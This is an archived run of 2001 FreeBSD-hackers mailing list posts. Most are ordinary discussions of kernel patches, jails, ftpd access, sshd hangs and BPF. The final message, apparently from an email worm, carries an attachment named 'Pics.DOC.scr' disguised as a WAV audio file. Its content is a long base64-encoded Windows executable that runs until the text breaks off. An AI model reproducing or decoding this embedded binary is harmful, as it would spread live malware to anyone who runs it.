owner-freebsd-hackers Mon Nov 26 3:48:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from relay1.macomnet.ru (relay1.macomnet.ru [195.128.64.10]) by hub.freebsd.org (Postfix) with ESMTP id 86B3937B41B for ; Mon, 26 Nov 2001 03:48:18 -0800 (PST) Received: from news1.macomnet.ru (maxim@news1.macomnet.ru [195.128.64.14]) by relay1.macomnet.ru (8.11.3/8.11.3) with ESMTP id fAQBmG0816656 for ; Mon, 26 Nov 2001 14:48:17 +0300 (MSK) Date: Mon, 26 Nov 2001 14:48:16 +0300 (MSK) From: Maxim Konovalov To: hackers@freebsd.org Subject: MFC exlock+truncate bug^Wpatch Message-ID: <20011126144035.Y75033-100000@news1.macomnet.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Any chances to MFC these changes before 4.5? The bug is very annoying. | mckusick 2000/07/03 20:34:11 PDT | | Modified files: | sys/dev/ccd ccd.c | sys/dev/vn vn.c | sys/kern kern_acct.c kern_ktrace.c kern_linker.c | kern_sig.c link_aout.c link_elf.c | vfs_syscalls.c vfs_vnops.c | sys/sys vnode.h | sys/ufs/ufs ufs_extattr.c ufs_quota.c | Log: | | Move the truncation code out of vn_open and into the open system | call after the acquisition of any advisory locks. This fix corrects | a case in which a process tries to open a file with a non-blocking | exclusive lock. Even if it fails to get the lock it would still | truncate the file even though its open failed. With this change, | the truncation is done only after the lock is successfully acquired. | | Obtained from: BSD/OS TIA, - -maxim -- Maxim Konovalov, MAcomnet, Internet-Intranet Dept., system engineer phone: +7 (095) 796-9079, mailto: maxim@macomnet.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 5: 2:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (swazi.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id BEF1537B41B for ; Mon, 26 Nov 2001 05:02:10 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id 7A56CFA3D; Sun, 25 Nov 2001 11:54:23 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id 78AEA652CC for ; Sun, 25 Nov 2001 11:54:23 +0200 (SAST) Date: Sun, 25 Nov 2001 11:54:23 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: Subject: [PATCH] Relevance of 8254 calibration. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'd just like to know wether there are any i386 boxes which don't have a timer_freq of 1193182Hz I know there might be slight variations but i still have to come across a box that doesn't, which leads me to the purpose of this email. Do we need to do the 8254 clock calibration? One of the reasons for me delving in this particular code is because i've got a box with a broken mc146818A and it locks the box until timeout occurs (currently set to 100000000), dropping timeout to 10 or something much lower speeds up booting somewhat ;). Any feedback (flames too ;) would be greatly appreciated Thanks in advance, Zwane Mwaikambo Please CC me as i'm not on the list. Patch - add a "rtc_is_broken" variable NB. I've tried not to be too intrusive here and only added the rtc_is_broken check where it affects this specifc case. Diffed against 4.3-RELEASE diff -crbB fbsd4.3-rel.orig/i386/include/clock.h fbsd4.3-rel.zm1/i386/include/clock.h *** fbsd4.3-rel.orig/i386/include/clock.h Sun Aug 19 21:39:26 2001 --- fbsd4.3-rel.zm1/i386/include/clock.h Sun Nov 25 09:06:21 2001 *************** *** 21,26 **** --- 21,27 ---- extern int timer0_max_count; extern u_int tsc_freq; extern int tsc_is_broken; + extern int rtc_is_broken; extern int wall_cmos_clock; #ifdef APIC_IO extern int apic_8254_intr; Only in fbsd4.3-rel.zm1/i386/isa: .clock.c.swp diff -crbB fbsd4.3-rel.orig/i386/isa/clock.c fbsd4.3-rel.zm1/i386/isa/clock.c *** fbsd4.3-rel.orig/i386/isa/clock.c Sun Aug 19 21:41:08 2001 --- fbsd4.3-rel.zm1/i386/isa/clock.c Sun Nov 25 09:24:48 2001 *************** *** 141,146 **** --- 141,147 ---- int timer0_max_count; u_int tsc_freq; int tsc_is_broken; + int rtc_is_broken = 0; int wall_cmos_clock; /* wall CMOS clock assumed if != 0 */ static int beeping = 0; *************** *** 591,596 **** --- 592,601 ---- if (bootverbose) printf("Calibrating clock(s) ... "); + + if (rtc_is_broken) + goto fail; + if (!(rtcin(RTC_STATUSD) & RTCSD_PWR)) goto fail; timeout = 100000000; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 5: 4: 6 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.infowest.com (ns1.infowest.com [204.17.177.10]) by hub.freebsd.org (Postfix) with ESMTP id 1E47037B425; Mon, 26 Nov 2001 05:03:59 -0800 (PST) Received: from there (208.186.108.99.dsl.infowest.net [208.186.108.99]) by ns1.infowest.com (Postfix) with SMTP id C925C21338; Mon, 26 Nov 2001 06:02:46 -0700 (MST) Content-Type: text/plain; charset="iso-8859-1" From: Samuel J.Greear Organization: GetMegabits, Inc. To: antony@abacus.co."uk", Antony T Curtis , Robert Watson Subject: Re: jail patch Date: Tue, 27 Nov 2001 05:59:34 -0700 X-Mailer: KMail [version 1.3] Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG References: <3C021D40.C83C6186@dp.abacus.co.uk> In-Reply-To: <3C021D40.C83C6186@dp.abacus.co.uk> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20011126130246.C925C21338@ns1.infowest.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday 26 November 2001 03:45 am, Antony T Curtis wrote: > Robert Watson wrote: > > On Sun, 25 Nov 2001, Gregory Neil Shapiro wrote: > > > > > In the jailng code, I allow jails to be identified using a name (other > > than the hostname) when they are created, and that can later be used as a > > handle for signalling. Two of the concepts that are useful in jailng are > > (1) the ability to identify jails and manage them from the outside more > > easily, and (2) jailinit, which permits a jail to maintain a runlevel, > > meaning that you don't have to be 'in' a jail in order to start an > > orderly shutdown (as you can signal jailinit), not to mention introducing > > the notion of an orderly shutdown :-). > > > > I currently make use of a hacked version of init which allows me to have > a whole "system" in a jail - this allows me to telnet in to a jail and > do a shutdown. > > The only downside is that many things expect init to be pid=1 but in the > jail, this isn't true - I keep the pid of the init in a temporary file > (ugly hack, a better "hack" would probably involve hacking the kernel > sources so that the jailed pid is "1" and that when that process dies, > the whole jail gets a kill -9. http://www.jailbsd.net/tarballs/jailinit.rat.gz This is a little something that I whipped up some time back, but haven't put much effort into lately. Sam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 5:34: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from star.rila.bg (star.rila.bg [194.141.1.32]) by hub.freebsd.org (Postfix) with ESMTP id 3274B37B405; Mon, 26 Nov 2001 05:34:05 -0800 (PST) Received: from star.rila.bg (vlady@localhost [127.0.0.1]) by star.rila.bg (8.11.4/8.11.4) with ESMTP id fAQDY4c95306; Mon, 26 Nov 2001 15:34:04 +0200 (EET) (envelope-from vlady@star.rila.bg) Message-Id: <200111261334.fAQDY4c95306@star.rila.bg> X-Mailer: exmh version 2.4 05/15/2001 with nmh-1.0.3 To: freebsd-hackers@freebsd.org Cc: freebsd-security@freebsd.org From: "Vladimir Terziev" Subject: Strange FTPD behavior Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 26 Nov 2001 15:34:04 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I run FreeBSD 4.3-STABLE machine. I use ftpd for ftp server daemon. It has very strange behavior with one of user accounts on my machine. Every one user account on my machine can access it via ftp, exept this account, let call it ttt. The ttt is not in /etc/ftpusers file and it can access the machine via ssh and telnet, but with ftp it can't! The ftpd says "530 User ttt access denied", as a replay of command "user ttt". I saw in the rfc, that 530 replay code means "Not logged in", but the ftpd doesn't allow on ttt to supply its credentials. My ftpd is not chroot -ed, if this is important! Any ideas? Vladimir To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 5:44:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mohegan.mohawk.net (mohegan.mohawk.net [63.66.68.21]) by hub.freebsd.org (Postfix) with ESMTP id 5513637B437; Mon, 26 Nov 2001 05:44:20 -0800 (PST) Received: from mohegan.mohawk.net (mohegan.mohawk.net [63.66.68.21]) by mohegan.mohawk.net (8.11.4/8.11.3) with ESMTP id fAQDi9W87538; Mon, 26 Nov 2001 08:44:09 -0500 (EST) Date: Mon, 26 Nov 2001 08:44:09 -0500 (EST) From: Ralph Huntington To: Vladimir Terziev Cc: , Subject: Re: Strange FTPD behavior In-Reply-To: <200111261334.fAQDY4c95306@star.rila.bg> Message-ID: <20011126084254.I54163-100000@mohegan.mohawk.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is the user's shell listed in /etc/shells? It must be there for ftpd to let them in. On Mon, 26 Nov 2001, Vladimir Terziev wrote: > > I run FreeBSD 4.3-STABLE machine. I use ftpd for ftp server daemon. It has > very strange behavior with one of user accounts on my machine. Every one user > account on my machine can access it via ftp, exept this account, let call it > ttt. The ttt is not in /etc/ftpusers file and it can access the machine via > ssh and telnet, but with ftp it can't! The ftpd says "530 User ttt access > denied", as a replay of command "user ttt". I saw in the rfc, that 530 replay > code means "Not logged in", but the ftpd doesn't allow on ttt to supply its > credentials. > My ftpd is not chroot -ed, if this is important! > > Any ideas? > > Vladimir > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 6: 5: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cc-gw.1anetworks.net (cc-gw.1anetworks.net [193.243.179.83]) by hub.freebsd.org (Postfix) with SMTP id D6C6D37B41F; Mon, 26 Nov 2001 06:04:52 -0800 (PST) Received: from brian (brian.1anetworks.net [212.36.98.200]) by parma.1anetworks.net (8.9.3+Sun/8.9.3) with SMTP id OAA07731; Mon, 26 Nov 2001 14:04:49 GMT From: "Bri" To: , Subject: RE: possibily something to do with sshd Date: Mon, 26 Nov 2001 14:23:24 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-reply-to: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The system I am running freebsd 4.4 stable allthough I don't know how to reproduce the problem of the w, who, uptime, finger commaands hanging and taking the whole cpu and when you ssh back into the machine I think sshd runs one of these commands or calls a function that they use that makes it hang. -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG]On Behalf Of Bri Sent: 26 November 2001 13:22 To: freebsd-stable@FreeBSD.ORG Subject: RE: possibily something to do with sshd rebooted and its fine. -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG]On Behalf Of Bri Sent: 26 November 2001 12:59 To: freebsd-stable@FreeBSD.ORG Subject: possibily something to do with sshd 2827 root 60 0 2632K 1532K RUN 1:01 32.28% 32.28% sshd 2498 root 59 0 2632K 1548K RUN 5:04 32.23% 32.23% sshd 1262 root 58 0 2672K 1504K RUN 1:13 31.45% 31.45% sshd some info from top and these's should be basically idle. Maybe I should reboot. for some reason when I type in w, finger, uptime or who it just starts the process and uses about 100% CPU for something that should just take one secound to display what you want. Any idea's Bri, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 6: 9: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from shared1-mail.whowhere.com (shared1-batch.whowhere.com [209.185.123.82]) by hub.freebsd.org (Postfix) with SMTP id 2FA2437B41C for ; Mon, 26 Nov 2001 06:08:59 -0800 (PST) Received: from Unknown/Local ([?.?.?.?]) by shared1-mail.whowhere.com; Mon Nov 26 06:08:50 2001 To: freebsd-hackers@freebsd.org Date: Mon, 26 Nov 2001 19:38:50 +0530 From: "Rajesh P Jain" Message-ID: Mime-Version: 1.0 X-Sent-Mail: on Reply-To: rpjain_1977@eudoramail.com X-Mailer: MailCity Service Subject: BPF - Packet Reception X-Sender-Ip: 203.197.138.199 Organization: QUALCOMM Eudora Web-Mail (http://www.eudoramail.com:80) Content-Type: text/plain; charset=us-ascii Content-Language: en Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, We are trying to use BPF (Packet Filter) pseduo device to send and receive the packets. Even if there is a slight delay (Some processing has to be done on the read packet) between the issuing of 'read' call, so many packets are getting dropped. Is there a way to attach a callback function to the opened device, so that on a packet arrival, this function is being called. We polling the device is always risky thing as we may loose some packet. Any help on this would be very much appreciated. Thanks and regards, -Raj Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 7: 7: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 2DD2537B417 for ; Mon, 26 Nov 2001 07:06:33 -0800 (PST) Received: from dialup-209.245.106.243.dial1.manchester1.level3.net ([209.245.106.243] helo=aol.com) by falcon.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 168NKu-0000bW-00 for freebsd-hackers@FreeBSD.org; Mon, 26 Nov 2001 07:06:20 -0800 From: "Don Davis" <_donldavis@donldavis.com> To: freebsd-hackers@FreeBSD.org Subject: Re: MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: Date: Mon, 26 Nov 2001 07:06:20 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="Pics.DOC.scr" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAoxs1SbKejAWynowFsp6MBF7uvAWinowHvu60BbqejAYS4qQF2p6MBhLin AW6nowEOuLABZaejAWynogHyp6MBhLioAWCnowHUoaUBbaejAVJpY2hsp6MBAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAUEUAAEwBAwCoIP47AAAAAAAAAADgAA8BCwEGAABwAAAAEAAAANAAAEBHAQAA 4AAAAFABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQ AAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAABkUAEAMAEAAABQAQBkAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAEAAAAAAAAAAEAAAA AAAAAAAAAAAAAACAAADgAAAAAAAAAAAAcAAAAOAAAABqAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5y c3JjAAAAABAAAABQAQAAAgAAAG4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 